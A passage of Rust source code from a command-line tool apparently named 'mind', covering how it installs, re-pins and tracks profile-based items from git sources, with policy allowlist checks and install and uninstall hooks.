source_profile_table(paths, source)
.ok()
.flatten()
.filter(|t| !t.is_empty())
}
fn profile_summary(table: &crate::profile::ProfileTable, enabled: &[String]) -> String {
table
.keys()
.map(|p| {
if enabled.contains(p) {
format!("{p} (enabled)")
} else {
p.clone()
}
})
.collect::<Vec<_>>()
.join(", ")
}
fn print_profile_block(paths: &Paths, sources: &[&crate::source::Source]) {
let lines: Vec<String> = sources
.iter()
.filter_map(|s| {
let table = display_profile_table(paths, s)?;
let enabled = s.profiles.clone().unwrap_or_default();
Some(format!(
" {}: {}",
strip_ansi(&s.name),
profile_summary(&table, &enabled)
))
})
.collect();
if lines.is_empty() {
return;
}
println!("profiles:");
for l in lines {
println!("{l}");
}
}
#[derive(Serialize, Debug)]
struct ProfileListing {
name: String,
enabled: bool,
members: Vec<String>,
#[serde(skip_serializing_if = "Option::is_none")]
items: Option<Vec<String>>,
#[serde(skip_serializing_if = "Option::is_none")]
installed: Option<usize>,
#[serde(skip_serializing_if = "Option::is_none")]
total: Option<usize>,
#[serde(skip_serializing_if = "Option::is_none")]
error: Option<String>,
}
#[derive(Serialize, Debug)]
struct SourceProfiles {
source: String,
profiles: Vec<ProfileListing>,
}
fn source_profile_listing(
paths: &Paths,
source: &crate::source::Source,
manifest: &Manifest,
) -> Option<SourceProfiles> {
let table = display_profile_table(paths, source)?;
let enabled = source.profiles.clone().unwrap_or_default();
let items = scan_one(paths, source);
let profiles = table
.iter()
.map(|(name, members)| {
let mut row = ProfileListing {
name: name.clone(),
enabled: enabled.contains(name),
members: members.iter().map(|m| strip_ansi(m)).collect(),
items: None,
installed: None,
total: None,
error: None,
};
let expansion = items.as_ref().map_err(|e| e.to_string()).and_then(|items| {
crate::profile::expand(&table, std::slice::from_ref(name), items, &source.name)
.map(|x| (x, items))
.map_err(|e| e.to_string())
});
match expansion {
Ok((x, items)) => {
let keys: Vec<String> = x
.keys
.keys()
.filter_map(|bare| {
items
.iter()
.find(|it| format!("{}:{}", it.kind.as_str(), it.name) == *bare)
.map(|it| it.key().as_str().to_string())
})
.collect();
let installed = keys
.iter()
.filter(|k| {
manifest
.items
.get(*k)
.is_some_and(|m| m.source == source.name)
})
.count();
row.total = Some(keys.len());
row.installed = Some(installed);
row.items = Some(keys.iter().map(|k| strip_ansi(k)).collect());
}
Err(e) => row.error = Some(strip_ansi(&e)),
}
row
})
.collect();
Some(SourceProfiles {
source: source.name.clone(),
profiles,
})
}
pub fn list_profiles(paths: &Paths, source_ref: Option<&str>, json: bool) -> Result<()> {
let registry = Registry::load(paths)?;
let selected: Vec<&crate::source::Source> = match source_ref {
Some(r) => {
let name = resolve_profile_source(paths, r)?;
registry.sources.iter().filter(|s| s.name == name).collect()
}
None => registry.sources.iter().collect(),
};
let manifest = Manifest::load(paths)?;
let listings: Vec<SourceProfiles> = selected
.iter()
.filter_map(|s| source_profile_listing(paths, s, &manifest))
.collect();
if json {
return print_json_envelope(&listings);
}
if listings.is_empty() {
match selected.as_slice() {
[only] if source_ref.is_some() => {
println!("{} declares no profiles", strip_ansi(&only.name))
}
_ => println!("no melded source declares profiles"),
}
return Ok(());
}
let out = crate::render::ctx();
for (i, listing) in listings.iter().enumerate() {
if i > 0 {
println!();
}
println!("profiles of {}:", strip_ansi(&listing.source));
let rows = listing
.profiles
.iter()
.map(|p| {
let name = if p.enabled {
format!("{} (enabled)", p.name)
} else {
p.name.clone()
};
let status = match (&p.error, p.installed, p.total) {
(Some(e), _, _) => format!("error: {e}"),
(None, Some(n), Some(m)) => format!("{n}/{m} installed"),
_ => String::new(),
};
vec![out.bullet(), name, p.members.join(", "), out.dim(&status)]
})
.collect::<Vec<_>>();
out.print_rows(&rows);
let quoted = crate::error::shell_quote(&strip_ansi(&listing.source));
for p in listing.profiles.iter().filter(|p| !p.enabled) {
println!(
" enable {}: mind learn {quoted} --profile {}",
p.name, p.name
);
}
}
Ok(())
}
fn insert_profile_json(
paths: &Paths,
source: &crate::source::Source,
obj: &mut serde_json::Map<String, serde_json::Value>,
) {
obj.remove("profiles");
let table = display_profile_table(paths, source);
let enabled = source.profiles.clone().unwrap_or_default();
if table.is_none() && enabled.is_empty() {
return;
}
let declared: serde_json::Map<String, serde_json::Value> = table
.unwrap_or_default()
.into_iter()
.map(|(name, members)| {
(
name,
serde_json::Value::Array(
members
.iter()
.map(|m| serde_json::Value::String(strip_ansi(m)))
.collect(),
),
)
})
.collect();
obj.insert("profiles".into(), serde_json::Value::Object(declared));
obj.insert(
"enabled_profiles".into(),
serde_json::Value::Array(enabled.into_iter().map(serde_json::Value::String).collect()),
);
}
#[derive(Serialize, Debug, PartialEq, Eq, Clone)]
struct ProfileAddition {
key: String,
source: String,
profiles: Vec<String>,
}
#[derive(Serialize, Debug, PartialEq, Eq, Clone)]
struct ProfileDeparture {
key: String,
source: String,
profiles: Vec<String>,
installed: bool,
#[serde(skip_serializing_if = "Option::is_none")]
forget: Option<String>,
}
#[derive(Default)]
struct ProfileTracking {
plans: Vec<(String, ProfilePlan)>,
additions: Vec<ProfileAddition>,
extra_closure: usize,
departures: Vec<ProfileDeparture>,
}
impl ProfileTracking {
fn has_additions(&self) -> bool {
!self.plans.is_empty()
}
}
fn installed_by_bare_key<'a>(
manifest: &'a Manifest,
source_name: &str,
bare: &str,
) -> Option<&'a crate::manifest::InstalledItem> {
let (kind_word, name) = bare.split_once(':')?;
let kind = ItemKind::parse(kind_word)?;
manifest
.items
.values()
.find(|m| m.source == source_name && m.kind == kind && m.bare_name == name)
}
fn track_profiles_for_upgrade(
paths: &Paths,
sources: &[String],
catalog: &[CatalogItem],
) -> Result<ProfileTracking> {
let mut tracking = ProfileTracking::default();
for name in sources {
let mut registry = Registry::load(paths)?;
let Some(source) = registry.find(name) else {
continue;
};
if !source.is_profile_tracked() {
continue;
}
let table = source_profile_table(paths, source)?.unwrap_or_default();
let recorded: Vec<String> = source.profiles.clone().unwrap_or_default();
let (kept, dropped): (Vec<String>, Vec<String>) = recorded
.iter()
.cloned()
.partition(|p| table.contains_key(p));
let safe_source = strip_ansi(name);
for p in &dropped {
crate::render::warn(format!(
"profile '{}' is no longer declared by {safe_source}; removed from its enabled \
profiles",
strip_ansi(p)
));
}
let expansion = crate::profile::expand(&table, &kept, catalog, name)?;
let snapshot: Vec<String> = source.profile_snapshot.clone().unwrap_or_default();
let diff = crate::profile::diff(&snapshot, &expansion);
let manifest = Manifest::load(paths)?;
for bare in &diff.departures {
let entry = installed_by_bare_key(&manifest, name, bare);
let key = match entry {
Some(e) => e.key().as_str().to_string(),
None => catalog
.iter()
.find(|c| {
c.source == *name && format!("{}:{}", c.kind.as_str(), c.name) == *bare
})
.map(|c| c.key().as_str().to_string())
.unwrap_or_else(|| bare.clone()),
};
let safe_key = strip_ansi(&key);
let profiles = match entry {
Some(e) if !e.profiles.is_empty() => e.profiles.clone(),
_ => recorded.clone(),
};
let forget = entry
.filter(|e| !e.is_explicit())
.map(|_| format!("mind forget {}", crate::error::shell_quote(&safe_key)));
let mut line = format!(
"{safe_key} left profile {} of {safe_source}",
profiles.join(", ")
);
if entry.is_some() {
line.push_str("; it stays installed");
}
if let Some(cmd) = &forget {
line.push_str(&format!("; run `{cmd}` to remove it"));
}
crate::render::note(format!("note: {line}"));
tracking.departures.push(ProfileDeparture {
key: safe_key,
source: safe_source.clone(),
profiles,
installed: entry.is_some(),
forget,
});
}
if !dropped.is_empty() || !diff.departures.is_empty() {
if let Some(s) = registry.sources.iter_mut().find(|s| s.name == *name) {
s.profiles = Some(kept.clone());
s.profile_snapshot = Some(
snapshot
.iter()
.filter(|k| !diff.departures.contains(k))
.cloned()
.collect(),
);
}
registry.save(paths)?;
}
if diff.additions.is_empty() || kept.is_empty() {
continue;
}
let selection = crate::profile::Selection {
include_default: false,
named: kept.clone(),
all: false,
};
let req = ProfileInstall {
source_name: name,
selection: &selection,
learn_patterns: &[],
only_missing_from_snapshot: true,
};
let plan = plan_profile_install(paths, &req)?;
let ProfilePlan {
declared,
enabled,
members,
reasons,
pending,
trees,
} = plan;
let (present, fresh): (Vec<ProfileMember>, Vec<ProfileMember>) =
members.into_iter().partition(|m| m.installed);
if !present.is_empty() {
let now = ProfilePlan {
declared: declared.clone(),
enabled: enabled.clone(),
members: present,
reasons: std::collections::BTreeMap::new(),
pending: Vec::new(),
trees: Vec::new(),
};
apply_profile_plan(
paths,
name,
&now,
InstallFlow {
yes: true,
clobber: Clobber::Error,
dangerously_skip: false,
dangerously_skip_build: false,
},
true,
)?;
}
if fresh.is_empty() {
continue;
}
for m in &fresh {
tracking.additions.push(ProfileAddition {
key: strip_ansi(&m.target.key),
source: safe_source.clone(),
profiles: m.profiles.iter().cloned().collect(),
});
}
tracking.extra_closure += pending.len().saturating_sub(fresh.len());
tracking.plans.push((
name.clone(),
ProfilePlan {
declared,
enabled,
members: fresh,
reasons,
pending,
trees,
},
));
}
Ok(tracking)
}
fn print_profile_additions(tracking: &ProfileTracking) {
if tracking.additions.is_empty() {
return;
}
let out = crate::render::ctx();
let n = tracking.additions.len();
println!(
"{n} {} newly in an enabled profile:\n",
if n == 1 { "item is" } else { "items are" }
);
for a in &tracking.additions {
println!(
" {} {} {} (profile {})",
out.warn(),
a.key,
out.dim(&format!("[{}]", a.source)),
a.profiles.join(", ")
);
}
if tracking.extra_closure > 0 {
println!(
" plus {} dependency item(s) they require",
tracking.extra_closure
);
}
println!();
}
pub fn install_provisioned_items(
paths: &Paths,
source_name: &str,
run_build_hooks: bool,
) -> (Vec<String>, Vec<(String, MindError)>) {
let flow = InstallFlow {
yes: true,
clobber: Clobber::Prompt,
dangerously_skip: false,
dangerously_skip_build: run_build_hooks,
};
let registry = match Registry::load(paths) {
Ok(r) => r,
Err(e) => return (vec![], vec![(source_name.to_string(), e)]),
};
let Some(source) = registry.find(source_name) else {
return (vec![], vec![]);
};
let source_items = match scan_one(paths, source) {
Ok(items) => items,
Err(e) => return (vec![], vec![(source_name.to_string(), e)]),
};
if source_items.is_empty() {
return (vec![], vec![]);
}
let manifest = match Manifest::load(paths) {
Ok(m) => m,
Err(e) => return (vec![], vec![(source_name.to_string(), e)]),
};
let installed: std::collections::HashSet<String> = manifest.items.keys().cloned().collect();
let json = json_mode();
let mut failures = Vec::new();
let mut installed_keys: Vec<String> = Vec::new();
for item in &source_items {
let key = item.key();
if installed.contains(key.as_str()) {
continue; }
let item_ref = format!("{source_name}#{}", key.as_str());
let outcome = if json {
learn_collecting(paths, &item_ref, flow).map(|keys| installed_keys.extend(keys))
} else {
learn(paths, &item_ref, false, flow)
};
if let Err(e) = outcome {
failures.push((key.display(), e));
}
}
(installed_keys, failures)
}
pub fn instance_name(repo: &str, alias: Option<&str>) -> Result<String> {
let mut source = parse_spec_quiet(repo)?;
source.apply_alias(alias.map(str::to_string));
Ok(source.name)
}
pub fn is_melded(paths: &Paths, repo: &str, alias: Option<&str>) -> Result<bool> {
let name = instance_name(repo, alias)?;
Ok(Registry::load(paths)?.find(&name).is_some())
}
#[allow(clippy::too_many_arguments)]
pub fn remeld(
paths: &Paths,
repo: &str,
alias: Option<String>,
link_only: bool,
flow: InstallFlow,
recursive: bool,
ignored_flags: &[&str],
pin: PinRequest,
learn_patterns: &[String],
profile_flags: Option<&crate::profile::Selection>,
) -> Result<()> {
let InstallFlow {
clobber,
dangerously_skip: dangerously_skip_hook_check,
..
} = flow;
let out = crate::render::ctx();
let source_name = instance_name(repo, alias.as_deref())?;
if !out.json {
println!("{} {source_name} is already melded", out.bullet());
if !ignored_flags.is_empty() {
let flags = ignored_flags.join(", ");
let plural = ignored_flags.len() != 1;
let quoted_source = crate::error::shell_quote(&source_name);
println!(
"note: {flags} ignored; {source_name} is already melded (re-melding \
does not change a source's discovery configuration). To apply \
{}, run `mind unmeld {quoted_source}` then `mind meld` again with {}.",
if plural { "them" } else { "it" },
if plural { "the flags" } else { "the flag" }
);
}
}
if pin != PinRequest::None {
repin_source(paths, &source_name, pin)?;
}
let remeld_selection = if link_only {
None
} else {
remeld_profile_selection(paths, &source_name, profile_flags)?
};
{
let mut registry = Registry::load(paths)?;
if let Some(idx) = registry.sources.iter().position(|s| s.name == source_name) {
let clone_dir = registry.sources[idx].clone_dir(paths);
let mindfile = MindToml::load(&clone_dir).unwrap_or_default();
let toml_path = clone_dir.join("mind.toml");
let force_rerun = clobber == Clobber::Force;
let hook_env = meld_hook_env(
mindfile.as_ref().and_then(|m| m.profiles.as_ref()),
remeld_selection.as_ref(),
registry.sources[idx].profiles.as_ref(),
);
match run_install_hooks(
&mut registry.sources[idx],
&clone_dir,
&mindfile,
&toml_path,
None,
dangerously_skip_hook_check,
force_rerun,
Vec::new(),
&hook_env,
) {
Ok(HookOutcome::Proceed) => registry.save(paths)?,
Ok(HookOutcome::Abort) => {
registry.save(paths)?; if !out.json {
println!("aborted; source left in place");
}
return Ok(());
}
Err(e) => {
registry.save(paths)?;
return Err(e); }
}
}
}
if let Some(selection) = remeld_selection {
let req = ProfileInstall {
source_name: &source_name,
selection: &selection,
learn_patterns,
only_missing_from_snapshot: false,
};
if out.json {
let (outcome, pending) = install_source_profiles_for_json(paths, &req, flow)?;
let mut installed = outcome.installed_keys;
if learn_patterns.is_empty() {
installed.extend(install_curated_sources_for_json(
paths,
&source_name,
recursive,
flow,
)?);
}
let mut result = MutationResult::new("meld", &source_name, "already-melded");
result.installed = installed.iter().map(|k| strip_ansi(k)).collect();
if pending > 0 {
result.pending_items = Some(pending);
}
result.profiles = Some(outcome.enabled);
return print_json(&result);
}
install_source_profiles(paths, &req, flow)?;
if learn_patterns.is_empty() {
install_curated_sources(paths, &source_name, recursive, flow)?;
} else {
note_learn_ignores_recursive(recursive);
}
return source_status(paths, &source_name);
}
if !link_only {
if out.json {
let (installed, pending) = if learn_patterns.is_empty() {
let (mut inst, pend) = install_source_items_for_json(paths, &source_name, flow)?;
inst.extend(install_curated_sources_for_json(
paths,
&source_name,
recursive,
flow,
)?);
(inst, pend)
} else {
install_source_items_matching_for_json(paths, &source_name, learn_patterns, flow)?
};
let mut result = MutationResult::new("meld", &source_name, "already-melded");
result.installed = installed.iter().map(|k| strip_ansi(k)).collect();
if pending > 0 {
result.pending_items = Some(pending);
}
return print_json(&result);
}
if !learn_patterns.is_empty() {
note_learn_ignores_recursive(recursive);
install_source_items_matching(paths, &source_name, learn_patterns, flow)?;
return source_status(paths, &source_name);
}
let item_ref = format!("{source_name}#*");
let to_install = match learn_preview(paths, &item_ref) {
Ok(plan) => plan.install_count,
Err(MindError::ItemNotFound { .. }) => 0,
Err(e) => return Err(e),
};
if to_install > 0 {
install_source_items(paths, &source_name, flow)?;
install_curated_sources(paths, &source_name, recursive, flow)?;
return Ok(());
}
install_curated_sources(paths, &source_name, recursive, flow)?;
if recursive {
return Ok(());
}
}
if out.json {
return print_json(&MutationResult::new("meld", &source_name, "already-melded"));
}
source_status(paths, &source_name)
}
pub(crate) fn repin_source(paths: &Paths, source_name: &str, pin: PinRequest) -> Result<()> {
let out = crate::render::ctx();
let policy = Policy::load()?;
let mut registry = Registry::load(paths)?;
let Some(source) = registry.find(source_name) else {
return Ok(());
};
if let Some(policy) = policy.as_ref() {
let identity = source.base_identity();
let allowed = policy.allow_matches(&identity);
if policy.lock() && !allowed {
if let Some(path) = effective_policy_path() {
eprintln!("hint: managed policy at {path}");
}
return Err(MindError::SourceNotAllowed { identity });
}
if !policy.lock() && !allowed {
eprintln!(
"warning: source '{identity}' is not in the managed policy's allowlist (advisory; not enforced because [sources].lock is false)"
);
}
}
let old_pin = source.pin.clone();
let old_commit = source.commit.clone();
let url = source.url.clone();
let is_local = source.is_local();
let (checkout_pin, freeze) = resolve_checkout_pin(pin, old_pin.clone());
if let Some(policy) = policy.as_ref()
&& !freeze
&& policy.forbids_unpinned(&checkout_pin)
{
return Err(MindError::UnpinnedSourceForbidden {
identity: source_name.to_string(),
});
}
let mut probe = source.clone();
if is_local {
probe.pin = Pin::Ref(String::new());
}
let target = clone_dir_checked(paths, &probe)?;
let checkout_pin = match checkout_pin {
Pin::Version(vp) => {
let meta = if target.join(".git").is_dir() {
match git::default_branch_mind_toml(&url, &target)? {
Some(text) => {
crate::mindfile::release_meta_from_text(&text, &target.join("mind.toml"))?
}
None => crate::mindfile::ReleaseMeta::default(),
}
} else {
let root = std::path::Path::new(&url);
let toml_path = root.join("mind.toml");
match MindToml::load(root)? {
Some(m) => crate::mindfile::ReleaseMeta::from_source(&m.source, &toml_path)?,
None => crate::mindfile::ReleaseMeta::default(),
}
};
let template = meta.template.unwrap_or(crate::version::Template::Default);
let yanked = meta.yanked;
let vp = crate::source::VersionPin {
recommended: meta.recommended,
auto_update: meta.auto_update,
..vp
};
let mut res = resolve_version(source_name, &url, &vp, &template, &yanked)?;
if target.join(".git").is_dir() {
fit_min_mind_version(source_name, &url, &target, true, &mut res)?;
} else if is_local {
fit_min_mind_version(
source_name,
&url,
std::path::Path::new(&url),
false,
&mut res,
)?;
}
match &res.selected {
Some(rel) => Pin::Version(filled_version_pin(&vp, rel, &res)),
None => return Err(no_matching_release(source_name, &vp, &res)),
}
}
other => other,
};
if target.join(".git").is_dir() {
git::sync_to_pin(&url, &target, &checkout_pin)?;
} else {
if target.exists() {
std::fs::remove_dir_all(&target).map_err(|e| MindError::io(&target, e))?;
}
if let Some(parent) = target.parent() {
crate::paths::mkdir_p(parent)?;
}
if let Err(e) = git::clone_at(&url, &target, &checkout_pin) {
let _ = std::fs::remove_dir_all(&target);
return Err(e);
}
}
let resolved_commit = git::head_commit(&url, &target)?;
let final_pin = if freeze {
Pin::Ref(resolved_commit.clone())
} else {
checkout_pin
};
let changed = old_pin != final_pin || old_commit.as_deref() != Some(resolved_commit.as_str());
let Some(source) = registry.sources.iter_mut().find(|s| s.name == source_name) else {
return Ok(());
};
source.pin = final_pin.clone();
source.commit = Some(resolved_commit);
source.description = MindToml::load(&target)?
.and_then(|m| m.source.description)
.map(|d| strip_ansi(&d));
registry.save(paths)?;
if !out.json {
if changed {
println!(
"{} re-pinned {source_name} {} -> {}",
out.ok(),
pin_description(&old_pin),
pin_description(&final_pin),
);
} else {
println!(
"{} {source_name} already pinned to {}",
out.bullet(),
pin_description(&final_pin),
);
}
}
Ok(())
}
pub fn install_curated_sources(
paths: &Paths,
super_name: &str,
all: bool,
flow: InstallFlow,
) -> Result<()> {
let registry = Registry::load(paths)?;
let mut visited: HashSet<String> = HashSet::from([super_name.to_string()]);
let mut queue: Vec<String> = vec![super_name.to_string()];
while let Some(name) = queue.pop() {
let Some(source) = registry.find(&name) else {
continue;
};
if source.item_path.is_some() {
continue;
}
let nested = MindToml::load(&source.clone_dir(paths))?
.and_then(|m| m.discover)
.map(|d| d.sources)
.unwrap_or_default();
for ns in nested {
let Ok(mut spec) = parse_spec_quiet(&ns.source) else {
continue;
};
spec.apply_alias(ns.effective_alias());
if !visited.insert(spec.name.clone()) {
continue; }
if registry.find(&spec.name).is_some() {
if all {
install_source_items(paths, &spec.name, flow)?;
} else if let Some(selection) =
curated_profile_selection(paths, ®istry, &ns, &spec.name, &name)?
{
let patterns = curated_install_item_patterns(
paths,
®istry,
&spec.name,
ns.install_items.as_ref(),
)?;
install_source_profiles(
paths,
&ProfileInstall {
source_name: &spec.name,
selection: &selection,
learn_patterns: &patterns,
only_missing_from_snapshot: false,
},
flow,
)?;
} else if let Some(refs) = &ns.install_items {
install_source_items_subset(paths, &spec.name, refs, flow)?;
} else if ns.install {
install_source_items(paths, &spec.name, flow)?;
}
queue.push(spec.name);
}
}
for (spec, in_repo) in marketplace_subsources(paths, source)? {
if !visited.insert(spec.name.clone()) {
continue;
}
if registry.find(&spec.name).is_some() {
if all || in_repo {
install_source_items(paths, &spec.name, flow)?;
}
queue.push(spec.name);
}
}
}
Ok(())
}
pub(crate) fn marketplace_subsources(
paths: &Paths,
source: &crate::source::Source,
) -> Result<Vec<(crate::source::Source, bool)>> {
let clone = source.clone_dir(paths);
if MindToml::load(&clone)?.is_some_and(|m| m.is_authoritative()) {
return Ok(Vec::new());
}
let Some(mp) = plugin_manifest::find_marketplace_manifest(&clone) else {
return Ok(Vec::new());
};
let mut out = Vec::new();
for entry in plugin_manifest::load_marketplace_manifest(&mp)?.into_entries() {
let in_repo = matches!(entry.source, plugin_manifest::PluginSource::InRepo { .. });
if let Ok(mut spec) = parse_spec_quiet(&marketplace_entry_spec(&entry, &clone)) {
spec.apply_alias(Some(entry.name.clone()));
out.push((spec, in_repo));
}
}
Ok(out)
}
pub(crate) fn install_source_items_for_json(
paths: &Paths,
source_name: &str,
flow: InstallFlow,
) -> Result<(Vec<String>, usize)> {
let item_ref = format!("{source_name}#*");
let plan = match learn_preview(paths, &item_ref) {
Ok(plan) => plan,
Err(MindError::ItemNotFound { .. }) => return Ok((vec![], 0)),
Err(e) => return Err(e),
};
if plan.install_count == 0 {
return Ok((vec![], 0));
}
if flow.yes {
let keys = learn_collecting(paths, &item_ref, flow)?;
return Ok((keys, 0));
}
Ok((vec![], plan.install_count))
}
pub(crate) fn install_curated_sources_for_json(
paths: &Paths,
super_name: &str,
all: bool,
flow: InstallFlow,
) -> Result<Vec<String>> {
let registry = Registry::load(paths)?;
let mut visited: HashSet<String> = HashSet::from([super_name.to_string()]);
let mut queue: Vec<String> = vec![super_name.to_string()];
let mut all_keys: Vec<String> = Vec::new();
while let Some(name) = queue.pop() {
let Some(source) = registry.find(&name) else {
continue;
};
if source.item_path.is_some() {
continue;
}
let nested = MindToml::load(&source.clone_dir(paths))?
.and_then(|m| m.discover)
.map(|d| d.sources)
.unwrap_or_default();
for ns in nested {
let Ok(mut spec) = parse_spec_quiet(&ns.source) else {
continue;
};
spec.apply_alias(ns.effective_alias());
if !visited.insert(spec.name.clone()) {
continue;
}
if registry.find(&spec.name).is_some() {
if all {
let (keys, _) = install_source_items_for_json(paths, &spec.name, flow)?;
all_keys.extend(keys);
} else if let Some(selection) =
curated_profile_selection(paths, ®istry, &ns, &spec.name, &name)?
{
let patterns = curated_install_item_patterns(
paths,
®istry,
&spec.name,
ns.install_items.as_ref(),
)?;
let (outcome, _) = install_source_profiles_for_json(
paths,
&ProfileInstall {
source_name: &spec.name,
selection: &selection,
learn_patterns: &patterns,
only_missing_from_snapshot: false,
},
flow,
)?;
all_keys.extend(outcome.installed_keys);
} else if let Some(refs) = &ns.install_items {
if !refs.is_empty() && flow.yes {
for item_ref in refs {
let qualified = format!("{}#{}", spec.name, item_ref);
let keys = learn_collecting(paths, &qualified, flow)?;
all_keys.extend(keys);
}
}
} else if ns.install {
let (keys, _) = install_source_items_for_json(paths, &spec.name, flow)?;
all_keys.extend(keys);
}
queue.push(spec.name);
}
}
for (spec, in_repo) in marketplace_subsources(paths, source)? {
if !visited.insert(spec.name.clone()) {
continue;
}
if registry.find(&spec.name).is_some() {
if all || in_repo {
let (keys, _) = install_source_items_for_json(paths, &spec.name, flow)?;
all_keys.extend(keys);
}
queue.push(spec.name);
}
}
}
Ok(all_keys)
}
pub(crate) fn emit_meld_json_result(
summary: MeldSummary,
installed: Vec<String>,
pending: usize,
profiles: Option<Vec<String>>,
) -> Result<()> {
let mut result = MutationResult::new("meld", &summary.source_name, "melded");
result.profiles = profiles;
result.count = Some(summary.added);
result.skipped = summary.skipped;
result.installed = installed.iter().map(|k| strip_ansi(k)).collect();
if pending > 0 {
result.pending_items = Some(pending);
}
print_json(&result)
}
fn source_status(paths: &Paths, source_name: &str) -> Result<()> {
let out = crate::render::ctx();
let registry = Registry::load(paths)?;
let Some(source) = registry.find(source_name) else {
return Err(MindError::SourceNotFound {
name: source_name.to_string(),
});
};
let items = scan_one(paths, source)?;
let manifest = Manifest::load(paths)?;
let head = source
.commit
.as_deref()
.map(short)
.unwrap_or_else(|| "?".to_string());
println!(
"{} {source_name}: {} item(s) (source @ {head})",
out.bullet(),
items.len()
);
for it in &items {
let installed = manifest
.items
.values()
.find(|m| m.source == it.source && m.kind == it.kind && m.bare_name == it.name);
match installed {
Some(m) => {
let hash_lag = it.content_hash().map_or(true, |h| h != m.hash);
let rename_lag = it.effective_name() != m.name;
let stale = hash_lag || rename_lag;
let lag = if stale {
out.yellow(" (outdated; run `mind upgrade`)")
} else {
String::new()
};
let marker = if stale { out.stale() } else { out.ok() };
println!(
" {} {} installed @ {}{}",
marker,
it.display_key(),
out.green(&short(&m.commit)),
lag
);
}
None => println!(
" {} {} not installed (run `mind learn {}`)",
out.available(),
it.display_key(),
crate::error::shell_quote(&it.display_key())
),
}
}
Ok(())
}
pub fn set_source_namespace(
paths: &Paths,
source_name: &str,
new_alias: Option<String>,
) -> Result<()> {
if let Some(ref a) = new_alias {
crate::namespace::validate_prefix(a)?;
}
let mut registry = Registry::load(paths)?;
let Some(source) = registry.sources.iter_mut().find(|s| s.name == source_name) else {
return Ok(()); };
let current = source.alias.clone().unwrap_or_default();
let requested = new_alias.clone().unwrap_or_default();
if current == requested {
return Ok(()); }
let manifest = Manifest::load(paths)?;
let installed_names: Vec<String> = manifest
.items
.values()
.filter(|it| it.source == source_name)
.map(|it| it.key().display())
.collect();
if !installed_names.is_empty() {
return Err(MindError::NamespaceLocked {
src_name: source_name.to_string(),
items: installed_names,
});
}
source.alias = new_alias;
registry.save(paths)
}
fn colliding_install(targets: &[&CatalogItem]) -> Option<(String, Vec<String>)> {
let mut by_key: std::collections::BTreeMap<String, Vec<String>> = Default::default();
for t in targets {
by_key
.entry(t.key().as_str().to_string())
.or_default()
.push(t.source.clone());
}
by_key
.into_iter()
.find(|(_, sources)| sources.len() > 1)
.map(|(key, sources)| {
(
crate::sanitize::strip_ansi(&key),
sources
.iter()
.map(|s| crate::sanitize::strip_ansi(s))
.collect(),
)
})
}
#[allow(clippy::too_many_arguments)]
fn install_item(
paths: &Paths,
item: &CatalogItem,
commit: &str,
siblings: &[CatalogItem],
force: bool,
dangerously_skip: bool,
dangerously_skip_build: bool,
is_update: bool,
) -> Result<crate::manifest::InstalledItem> {
require_link_platform(paths)?;
let install_hooks = item.install_time_hooks(is_update);
let hook_env = if item.build.is_some() || !install_hooks.is_empty() {
catalog_item_hook_env(paths, item)?
} else {
crate::hook::HookEnv::default()
};
let mut installed = install::install(
paths,
item,
commit,
siblings,
force,
dangerously_skip_build,
&hook_env,
)?;
if !install_hooks.is_empty() {
let store = paths.mind_home.join(&installed.store);
match install::run_item_install_hooks(
item,
&install_hooks,
&store,
commit,
dangerously_skip,
&hook_env,
) {
Ok(recorded) => installed.install_hooks = recorded,
Err(e) => {
let _ = install::uninstall(paths, &installed);
return Err(e);
}
}
}
Ok(installed)
}
fn uninstall_item(
paths: &Paths,
item: &crate::manifest::InstalledItem,
uninstall_hooks: &[&crate::mindfile::ResolvedHook],
commit: &str,
dangerously_skip: bool,
) -> Result<()> {
if !uninstall_hooks.is_empty() {
let store = paths.mind_home.join(&item.store);
if store.exists() {
let hook_env = item_hook_env(paths, &item.source, item.profiles.clone())?;
install::run_item_uninstall_hooks(
item,
uninstall_hooks,
&store,
commit,
dangerously_skip,
&hook_env,
)?;
}
}
install::uninstall(paths, item)
}
fn meld_hook_env(
table: Option<&crate::profile::ProfileTable>,
selection: Option<&crate::profile::Selection>,
recorded: Option<&Vec<String>>,
) -> crate::hook::HookEnv {
let mut profiles: BTreeSet<String> = recorded.into_iter().flatten().cloned().collect();
if let Some(sel) = selection {
let mut sel = sel.clone();
sel.named
.retain(|n| table.is_some_and(|t| t.contains_key(n)));
profiles.extend(crate::profile::enabled_set(table, &sel, "").unwrap_or_default());
}
crate::hook::HookEnv {
profiles: profiles.into_iter().collect(),
item_profiles: Vec::new(),
}
}
pub(crate) fn source_hook_env(source: &crate::source::Source) -> crate::hook::HookEnv {
crate::hook::HookEnv {
profiles: crate::hook::scoped_profiles(&source.name)
.unwrap_or_else(|| source.profiles.clone().unwrap_or_default()),
item_profiles: Vec::new(),
}
}
pub(crate) fn item_hook_env(
paths: &Paths,
source_name: &str,
item_profiles: Vec<String>,
) -> Result<crate::hook::HookEnv> {
let registry = Registry::load(paths)?;
let mut env = registry
.find(source_name)
.map(source_hook_env)
.unwrap_or_default();
env.item_profiles = item_profiles;
Ok(env)
}
fn catalog_item_hook_env(paths: &Paths, item: &CatalogItem) -> Result<crate::hook::HookEnv> {
let manifest = Manifest::load(paths)?;
let mut reasons = crate::hook::scoped_item_reasons(&item.source, item.key().as_str());
if let Some(prev) = manifest
.items
.values()
.find(|m| m.source == item.source && m.kind == item.kind && m.bare_name == item.name)
{
reasons.extend(prev.profiles.iter().cloned());
}
item_hook_env(paths, &item.source, reasons)
}
fn item_catalog_match<'a>(
catalog: &'a [CatalogItem],
item: &crate::manifest::InstalledItem,
) -> Option<&'a CatalogItem> {
catalog
.iter()
.find(|c| c.kind == item.kind && c.name == item.bare_name && c.source == item.source)
}
fn convention_path_in_root(
root: &std::path::Path,
kind: ItemKind,
name: &str,
) -> std::path::PathBuf {
match kind {
ItemKind::Skill => root.join("skills").join(name),
ItemKind::Agent => root.join("agents").join(format!("{name}.md")),
ItemKind::Rule => root.join("rules").join(format!("{name}.md")),
ItemKind::Command => root.join("commands").join(format!("{name}.md")),
ItemKind::Workflow => root.join("workflows").join(format!("{name}.js")),
ItemKind::Tool => panic!("tools are never unmanaged; absorb should not reach this"),
ItemKind::Resource => {
panic!("resources are never unmanaged; absorb should not reach this")
}
}
}
fn first_scan_root(dest_path: &std::path::Path) -> Result<std::path::PathBuf> {
let mindfile = crate::mindfile::MindToml::load(dest_path).unwrap_or_default();
let root_rel = mindfile
.as_ref()
.and_then(|m| m.source.roots.as_ref())
.and_then(|r| r.first())
.map(String::as_str)
.unwrap_or(".");
let candidate = dest_path.join(root_rel);
